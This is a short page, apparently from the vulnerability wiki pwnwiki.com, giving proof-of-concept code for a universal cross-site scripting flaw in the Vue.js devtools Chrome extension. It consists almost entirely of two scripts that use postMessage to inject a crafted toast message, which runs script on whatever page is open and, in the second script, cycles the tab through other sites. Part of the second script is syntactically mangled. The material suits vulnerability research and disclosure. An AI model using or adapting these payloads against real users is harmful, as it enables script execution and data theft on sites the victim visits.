Loading
◆◆0

Chrome 插件 Vue.js devtools UXSS

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

XSS1

<script>
    setInterval(() => {
        window.postMessage({
            vueDetected: true,
            vueToast: {
                message: '`,`normal`); function __VUE_DEVTOOLS_TOAST__(){}; alert(document.domain);//'
            }
        }, '*')
    }, 1000)
</script>

XSS2

<script>
    const urls = 'https://www.google.com/', 'https://github.com', 'https://vuejs.org/'
    var i = 0;
    setInterval(() => {
        window.postMessage({
            vueDetected: true,
            vueToast: {
                message: '`,`normal`); function __VUE_DEVTOOLS_TOAST__(){}; alert(document.domain); location=`' + urlsi++%3 +'`//'
            }
        }, '*')
    }, 3000)
</script>

pwnwiki.com